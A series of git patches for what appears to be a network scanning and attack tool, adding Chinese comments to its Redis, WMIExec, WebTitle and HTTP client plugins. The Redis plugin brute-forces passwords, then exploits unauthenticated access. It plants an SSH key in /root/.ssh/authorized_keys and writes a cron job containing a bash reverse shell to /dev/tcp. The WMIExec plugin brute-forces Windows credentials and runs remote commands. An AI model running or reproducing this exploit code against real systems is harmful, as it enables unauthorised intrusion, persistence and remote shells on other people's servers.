b1883ca707f59c4485abd3676fe992f4ac62e585 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:09:23 +0800 Subject: [PATCH 034/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Redis.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Redis.go | 235 +++++++++++++++++++++++++++++++++++------------ 1 file changed, 176 insertions(+), 59 deletions(-) diff --git a/Plugins/Redis.go b/Plugins/Redis.go index 06d24c5..7b651b4 100644 --- a/Plugins/Redis.go +++ b/Plugins/Redis.go @@ -13,159 +13,223 @@ import ( ) var ( - dbfilename string - dir string + dbfilename string // Redis数据库文件名 + dir string // Redis数据库目录 ) +// RedisScan 执行Redis服务扫描 func RedisScan(info *Config.HostInfo) (tmperr error) { starttime := time.Now().Unix() + + // 尝试无密码连接 flag, err := RedisUnauth(info) - if flag == true && err == nil { + if flag && err == nil { return err } + if Common.IsBrute { return } + + // 尝试密码暴力破解 for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", "redis", -1) + flag, err := RedisConn(info, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Redis %v:%v %v %v", info.Host, info.Ports, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { - return err - } } } return tmperr } -func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) { - flag = false +// RedisConn 尝试Redis连接 +func RedisConn(info *Config.HostInfo, pass string) (bool, error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { - return flag, err + return false, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - return flag, err + + // 设置超时 + if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return false, err } - _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) - if err != nil { - return flag, err + + // 发送认证命令 + if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil { + return false, err } + + // 读取响应 reply, err := readreply(conn) if err != nil { - return flag, err + return false, err } + + // 认证成功 if strings.Contains(reply, "+OK") { - flag = true + // 获取配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { result := fmt.Sprintf("[+] Redis %s %s", realhost, pass) Common.LogSuccess(result) - return flag, err - } else { - result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) - Common.LogSuccess(result) + return true, err } + + result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename) + Common.LogSuccess(result) + + // 尝试利用 err = Expoilt(realhost, conn) + return true, err } - return flag, err + + return false, err } +// RedisUnauth 尝试Redis未授权访问检测 func RedisUnauth(info *Config.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 建立TCP连接 conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err)) return flag, err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { + + // 设置读取超时 + if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err)) return flag, err } + + // 发送info命令测试未授权访问 _, err = conn.Write([]byte("info\r\n")) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err)) return flag, err } + + // 读取响应 reply, err := readreply(conn) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err)) return flag, err } + + // 判断是否存在未授权访问 if strings.Contains(reply, "redis_version") { flag = true + // 获取Redis配置信息 dbfilename, dir, err = getconfig(conn) if err != nil { - result := fmt.Sprintf("[+] Redis %s unauthorized", realhost) + result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost) Common.LogSuccess(result) return flag, err - } else { - result := fmt.Sprintf("[+] Redis %s unauthorized file:%s/%s", realhost, dir, dbfilename) - Common.LogSuccess(result) } + + // 输出详细信息 + result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename) + Common.LogSuccess(result) + + // 尝试漏洞利用 err = Expoilt(realhost, conn) + if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err)) + } } + return flag, err } +// Expoilt 尝试Redis漏洞利用 func Expoilt(realhost string, conn net.Conn) error { + // 如果配置为不进行测试则直接返回 if Common.Noredistest { return nil } + + // 测试目录写入权限 flagSsh, flagCron, err := testwrite(conn) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err)) return err } - if flagSsh == true { - result := fmt.Sprintf("[+] Redis %v like can write /root/.ssh/", realhost) - Common.LogSuccess(result) + + // SSH密钥写入测试 + if flagSsh { + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost)) + + // 如果指定了密钥文件则尝试写入 if Common.RedisFile != "" { writeok, text, err := writekey(conn, Common.RedisFile) if err != nil { - fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) + Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err)) return err } + if writeok { - result := fmt.Sprintf("[+] Redis %v SSH public key was written successfully", realhost) - Common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost)) } else { - fmt.Println("[-] Redis ", realhost, "SSHPUB write failed", text) + Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text)) } } } - if flagCron == true { - result := fmt.Sprintf("[+] Redis %v like can write /var/spool/cron/", realhost) - Common.LogSuccess(result) + // 定时任务写入测试 + if flagCron { + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost)) + + // 如果指定了shell命令则尝试写入定时任务 if Common.RedisShell != "" { writeok, text, err := writecron(conn, Common.RedisShell) if err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err)) return err } + if writeok { - result := fmt.Sprintf("[+] Redis %v /var/spool/cron/root was written successfully", realhost) - Common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost)) } else { - fmt.Println("[-] Redis ", realhost, "cron write failed", text) + Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text)) } } } - err = recoverdb(dbfilename, dir, conn) + + // 恢复数据库配置 + if err = recoverdb(dbfilename, dir, conn); err != nil { + Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err)) + } + return err } +// writekey 向Redis写入SSH密钥 func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { flag = false + + // 设置文件目录为SSH目录 _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, text, err @@ -174,8 +238,10 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 设置文件名为authorized_keys if strings.Contains(text, "OK") { - _, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) + _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")) if err != nil { return flag, text, err } @@ -183,16 +249,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 读取并写入SSH密钥 if strings.Contains(text, "OK") { + // 读取密钥文件 key, err := Readfile(filename) if err != nil { - text = fmt.Sprintf("Open %s error, %v", filename, err) + text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err) return flag, text, err } if len(key) == 0 { - text = fmt.Sprintf("the keyfile %s is empty", filename) + text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename) return flag, text, err } + + // 写入密钥 _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))) if err != nil { return flag, text, err @@ -201,6 +272,8 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error if err != nil { return flag, text, err } + + // 保存更改 if strings.Contains(text, "OK") { _, err = conn.Write([]byte("save\r\n")) if err != nil { @@ -216,16 +289,21 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error } } } + + // 截断过长的响应文本 text = strings.TrimSpace(text) if len(text) > 50 { text = text[:50] } + return flag, text, err } +// writecron 向Redis写入定时任务 func writecron(conn net.Conn, host string) (flag bool, text string, err error) { flag = false - // 尝试写入Ubuntu的路径 + + // 首先尝试Ubuntu系统的cron路径 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")) if err != nil { return flag, text, err @@ -234,8 +312,9 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + + // 如果Ubuntu路径失败,尝试CentOS系统的cron路径 if !strings.Contains(text, "OK") { - // 如果没有返回"OK",可能是CentOS,尝试CentOS的路径 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, text, err @@ -245,7 +324,10 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { return flag, text, err } } + + // 如果成功设置目录,继续后续操作 if strings.Contains(text, "OK") { + // 设置数据库文件名为root _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")) if err != nil { return flag, text, err @@ -254,13 +336,19 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + if strings.Contains(text, "OK") { + // 解析目标主机地址 target := strings.Split(host, ":") if len(target) < 2 { - return flag, "host error", err + return flag, "[-] 主机地址格式错误", err } scanIp, scanPort := target[0], target[1] - _, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort))) + + // 写入反弹shell的定时任务 + cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", + scanIp, scanPort) + _, err = conn.Write([]byte(cronCmd)) if err != nil { return flag, text, err } @@ -268,6 +356,8 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + + // 保存更改 if strings.Contains(text, "OK") { _, err = conn.Write([]byte("save\r\n")) if err != nil { @@ -283,19 +373,24 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { } } } + + // 截断过长的响应文本 text = strings.TrimSpace(text) if len(text) > 50 { text = text[:50] } + return flag, text, err } +// Readfile 读取文件内容并返回第一个非空行 func Readfile(filename string) (string, error) { file, err := os.Open(filename) if err != nil { return "", err } defer file.Close() + scanner := bufio.NewScanner(file) for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) @@ -306,28 +401,35 @@ func Readfile(filename string) (string, error) { return "", err } +// readreply 读取Redis服务器响应 func readreply(conn net.Conn) (string, error) { + // 设置1秒读取超时 conn.SetReadDeadline(time.Now().Add(time.Second)) + bytes, err := io.ReadAll(conn) + // 如果读取到内容则不返回错误 if len(bytes) > 0 { err = nil } return string(bytes), err } +// testwrite 测试Redis写入权限 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { - var text string + // 测试SSH目录写入权限 _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, flagCron, err } - text, err = readreply(conn) + text, err := readreply(conn) if err != nil { return flag, flagCron, err } if strings.Contains(text, "OK") { flag = true } + + // 测试定时任务目录写入权限 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, flagCron, err @@ -339,10 +441,13 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { if strings.Contains(text, "OK") { flagCron = true } + return flag, flagCron, err } +// getconfig 获取Redis配置信息 func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { + // 获取数据库文件名 _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")) if err != nil { return @@ -351,12 +456,16 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { if err != nil { return } + + // 解析数据库文件名 text1 := strings.Split(text, "\r\n") if len(text1) > 2 { dbfilename = text1[len(text1)-2] } else { dbfilename = text1[0] } + + // 获取数据库目录 _, err = conn.Write([]byte("CONFIG GET dir\r\n")) if err != nil { return @@ -365,16 +474,21 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { if err != nil { return } + + // 解析数据库目录 text1 = strings.Split(text, "\r\n") if len(text1) > 2 { dir = text1[len(text1)-2] } else { dir = text1[0] } + return } +// recoverdb 恢复Redis数据库配置 func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { + // 恢复数据库文件名 _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))) if err != nil { return @@ -383,6 +497,8 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } + + // 恢复数据库目录 _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) if err != nil { return @@ -391,5 +507,6 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } + return } From d860eb63b38cd95895fa6f04a9d02c77cd52a1ef Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:15:49 +0800 Subject: [PATCH 035/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96WMIExec.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/WMIExec.go | 47 ++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 43 insertions(+), 4 deletions(-) diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index 5337f03..ad58839 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -12,13 +12,18 @@ import ( "github.com/C-Sto/goWMIExec/pkg/wmiexec" ) -var ClientHost string -var flag bool +// 全局变量 +var ( + ClientHost string // 客户端主机名 + flag bool // 初始化标志 +) +// init 初始化函数 func init() { if flag { return } + // 获取主机名 clientHost, err := os.Hostname() if err != nil { fmt.Println(err) @@ -27,26 +32,41 @@ func init() { flag = true } +// WmiExec 执行WMI远程命令 func WmiExec(info *Config.HostInfo) (tmperr error) { + // 如果是暴力破解模式则跳过 if Common.IsBrute { return nil } + starttime := time.Now().Unix() + + // 遍历用户字典 for _, user := range Common.Userdict["smb"] { PASS: + // 遍历密码字典 for _, pass := range Common.Passwords { + // 替换密码模板中的用户名 pass = strings.Replace(pass, "{user}", user, -1) + + // 尝试WMI连接 flag, err := Wmiexec(info, user, pass, Common.Hash) + + // 记录错误日志 errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) Common.LogError(errlog) - if flag == true { + + if flag { + // 成功连接,记录结果 var result string if Common.Domain != "" { result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user) } else { result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) } + + // 添加认证信息到结果 if Common.Hash != "" { result += "hash: " + Common.Hash } else { @@ -56,13 +76,17 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { return err } else { tmperr = err + // 检查错误是否需要终止 if Common.CheckErrs(err) { return err } + // 检查是否超时 if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) { return err } } + + // 如果使用NTLM Hash,则跳过密码循环 if len(Common.Hash) == 32 { break PASS } @@ -71,13 +95,16 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { return tmperr } +// Wmiexec 包装WMI执行函数 func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(Common.Timeout) return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) } +// WMIExec 执行WMI远程命令 func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { + // 初始化WMI配置 if cfgIn == nil { cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil) if err1 != nil { @@ -86,29 +113,41 @@ func WMIExec(target, username, password, hash, domain, command, clientHostname, } cfgIn = &cfg } + + // 创建WMI执行器 execer := wmiexec.NewExecer(cfgIn) + + // 设置目标绑定 err = execer.SetTargetBinding(binding) if err != nil { return } + // 进行认证 err = execer.Auth() if err != nil { return } flag = true + // 如果有命令则执行 if command != "" { + // 使用cmd.exe执行命令 command = "C:\\Windows\\system32\\cmd.exe /c " + command + + // 检查RPC端口 if execer.TargetRPCPort == 0 { - err = errors.New("RPC Port is 0, cannot connect") + err = errors.New("RPC端口为0,无法连接") return } + // 建立RPC连接 err = execer.RPCConnect() if err != nil { return } + + // 执行命令 err = execer.Exec(command) if err != nil { return From 6a33a65c9446e4ed0dcabacb060619513cff415e Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:15:58 +0800 Subject: [PATCH 036/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96WebTitile.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/WebTitle.go | 127 +++++++++++++++++++++++++++++++++----------- 1 file changed, 97 insertions(+), 30 deletions(-) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index ccc4e98..53201dd 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -19,28 +19,39 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) +// WebTitle 获取Web标题并执行扫描 func WebTitle(info *Config.HostInfo) error { + // 如果是webpoc扫描模式,直接执行WebScan if Common.Scantype == "webpoc" { WebScan.WebScan(info) return nil } + + // 获取网站标题信息 err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - //不扫描打印机,避免打纸 + + // 检查是否为打印机,避免意外打印 for _, v := range info.Infostr { if v == "打印机" { return nil } } + + // 根据配置决定是否执行漏洞扫描 if !Common.NoPoc && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) Common.LogError(errlog) } + return err } + +// GOWebTitle 获取网站标题并处理URL func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { + // 如果URL未指定,根据端口生成URL if info.Url == "" { switch info.Ports { case "80": @@ -53,6 +64,7 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) } } else { + // 处理未指定协议的URL if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0] protocol := GetProtocol(host, Common.Timeout) @@ -60,12 +72,13 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData } } + // 第一次获取URL err, result, CheckData := geturl(info, 1, CheckData) if err != nil && !strings.Contains(err.Error(), "EOF") { return } - //有跳转 + // 处理URL跳转 if strings.Contains(result, "://") { info.Url = result err, result, CheckData = geturl(info, 3, CheckData) @@ -74,10 +87,12 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData } } + // 处理HTTP到HTTPS的升级 if result == "https" && !strings.HasPrefix(info.Url, "https://") { info.Url = strings.Replace(info.Url, "http://", "https://", 1) err, result, CheckData = geturl(info, 1, CheckData) - //有跳转 + + // 处理升级后的跳转 if strings.Contains(result, "://") { info.Url = result err, _, CheckData = geturl(info, 3, CheckData) @@ -86,22 +101,28 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData } } } - //是否访问图标 - //err, _, CheckData = geturl(info, 2, CheckData) + if err != nil { return } return } +// geturl 获取URL响应内容和信息 +// 参数: +// - info: 主机配置信息 +// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https) +// - CheckData: 检查数据数组 +// +// 返回: +// - error: 错误信息 +// - string: 重定向URL或协议 +// - []WebScan.CheckDatas: 更新后的检查数据 func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { - //flag 1 first try - //flag 2 /favicon.ico - //flag 3 302 - //flag 4 400 -> https - + // 处理目标URL Url := info.Url if flag == 2 { + // 获取favicon.ico的URL URL, err := url.Parse(Url) if err == nil { Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host) @@ -109,61 +130,77 @@ func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er Url += "/favicon.ico" } } + + // 创建HTTP请求 req, err := http.NewRequest("GET", Url, nil) if err != nil { return err, "", CheckData } + + // 设置请求头 req.Header.Set("User-agent", Common.UserAgent) req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if Common.Cookie != "" { req.Header.Set("Cookie", Common.Cookie) } - //if Common.Pocinfo.Cookie != "" { - // req.Header.Set("Cookie", "rememberMe=1;"+Common.Pocinfo.Cookie) - //} else { - // req.Header.Set("Cookie", "rememberMe=1") - //} req.Header.Set("Connection", "close") + + // 选择HTTP客户端 var client *http.Client if flag == 1 { - client = lib.ClientNoRedirect + client = lib.ClientNoRedirect // 不跟随重定向 } else { - client = lib.Client + client = lib.Client // 跟随重定向 } + // 发送请求 resp, err := client.Do(req) if err != nil { return err, "https", CheckData } - defer resp.Body.Close() - var title string + + // 读取响应内容 body, err := getRespBody(resp) if err != nil { return err, "https", CheckData } + + // 保存检查数据 CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) + + // 处理非favicon请求 var reurl string if flag != 2 { + // 处理编码 if !utf8.Valid(body) { body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body) } - title = gettitle(body) + + // 获取页面信息 + title := gettitle(body) length := resp.Header.Get("Content-Length") if length == "" { length = fmt.Sprintf("%v", len(body)) } + + // 处理重定向 redirURL, err1 := resp.Location() if err1 == nil { reurl = redirURL.String() } - result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title) + + // 输出结果 + result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", + resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { - result += fmt.Sprintf(" 跳转url: %s", reurl) + result += fmt.Sprintf(" 重定向地址: %s", reurl) } Common.LogSuccess(result) } + + // 返回结果 if reurl != "" { return nil, reurl, CheckData } @@ -173,14 +210,19 @@ func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er return nil, "", CheckData } +// getRespBody 读取HTTP响应体内容 func getRespBody(oResp *http.Response) ([]byte, error) { var body []byte + + // 处理gzip压缩的响应 if oResp.Header.Get("Content-Encoding") == "gzip" { gr, err := gzip.NewReader(oResp.Body) if err != nil { return nil, err } defer gr.Close() + + // 循环读取解压内容 for { buf := make([]byte, 1024) n, err := gr.Read(buf) @@ -193,6 +235,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) { body = append(body, buf...) } } else { + // 直接读取未压缩的响应 raw, err := io.ReadAll(oResp.Body) if err != nil { return nil, err @@ -202,30 +245,41 @@ func getRespBody(oResp *http.Response) ([]byte, error) { return body, nil } +// gettitle 从HTML内容中提取网页标题 func gettitle(body []byte) (title string) { + // 使用正则表达式匹配title标签内容 re := regexp.MustCompile("(?ims)(.*?)") find := re.FindSubmatch(body) + if len(find) > 1 { title = string(find[1]) - title = strings.TrimSpace(title) - title = strings.Replace(title, "\n", "", -1) - title = strings.Replace(title, "\r", "", -1) - title = strings.Replace(title, " ", " ", -1) + + // 清理标题内容 + title = strings.TrimSpace(title) // 去除首尾空格 + title = strings.Replace(title, "\n", "", -1) // 去除换行 + title = strings.Replace(title, "\r", "", -1) // 去除回车 + title = strings.Replace(title, " ", " ", -1) // 替换HTML空格 + + // 截断过长的标题 if len(title) > 100 { title = title[:100] } + + // 处理空标题 if title == "" { - title = "\"\"" //空格 + title = "\"\"" // 空标题显示为双引号 } } else { - title = "None" //没有title + title = "无标题" // 没有找到title标签 } return } +// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS) func GetProtocol(host string, Timeout int64) (protocol string) { protocol = "http" - //如果端口是80或443,跳过Protocol判断 + + // 根据标准端口快速判断协议 if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") { return } else if strings.HasSuffix(host, ":443") { @@ -233,11 +287,19 @@ func GetProtocol(host string, Timeout int64) (protocol string) { return } + // 尝试建立TCP连接 socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if err != nil { return } - conn := tls.Client(socksconn, &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}) + + // 尝试TLS握手 + conn := tls.Client(socksconn, &tls.Config{ + MinVersion: tls.VersionTLS10, + InsecureSkipVerify: true, + }) + + // 确保连接关闭 defer func() { if conn != nil { defer func() { @@ -248,10 +310,15 @@ func GetProtocol(host string, Timeout int64) (protocol string) { conn.Close() } }() + + // 设置连接超时 conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second)) + + // 执行TLS握手 err = conn.Handshake() if err == nil || strings.Contains(err.Error(), "handshake failure") { protocol = "https" } + return protocol } From 02eb3d6f7a00cec4e1f3eb68eeba73bb37ee058b Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:26:20 +0800 Subject: [PATCH 037/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Client.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Client.go | 174 ++++++++++++++++++++++++++++-------------- 1 file changed, 116 insertions(+), 58 deletions(-) diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go index 1337ea9..96aa477 100644 --- a/WebScan/lib/Client.go +++ b/WebScan/lib/Client.go @@ -17,34 +17,43 @@ import ( "time" ) +// 全局HTTP客户端变量 var ( - Client *http.Client - ClientNoRedirect *http.Client - dialTimout = 5 * time.Second - keepAlive = 5 * time.Second + Client *http.Client // 标准HTTP客户端 + ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 + dialTimout = 5 * time.Second // 连接超时时间 + keepAlive = 5 * time.Second // 连接保持时间 ) +// Inithttp 初始化HTTP客户端配置 func Inithttp() { - //Common.Proxy = "http://127.0.0.1:8080" + // 设置默认并发数 if Common.PocNum == 0 { Common.PocNum = 20 } + // 设置默认超时时间 if Common.WebTimeout == 0 { Common.WebTimeout = 5 } + + // 初始化HTTP客户端 err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second) if err != nil { panic(err) } } +// InitHttpClient 创建HTTP客户端 func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) + + // 配置基础连接参数 dialer := &net.Dialer{ Timeout: dialTimout, KeepAlive: keepAlive, } + // 配置Transport参数 tr := &http.Transport{ DialContext: dialer.DialContext, MaxConnsPerHost: 5, @@ -56,6 +65,7 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err DisableKeepAlives: false, } + // 配置Socks5代理 if Common.Socks5Proxy != "" { dialSocksProxy, err := Common.Socks5Dialer(dialer) if err != nil { @@ -64,9 +74,10 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok { tr.DialContext = contextDialer.DialContext } else { - return 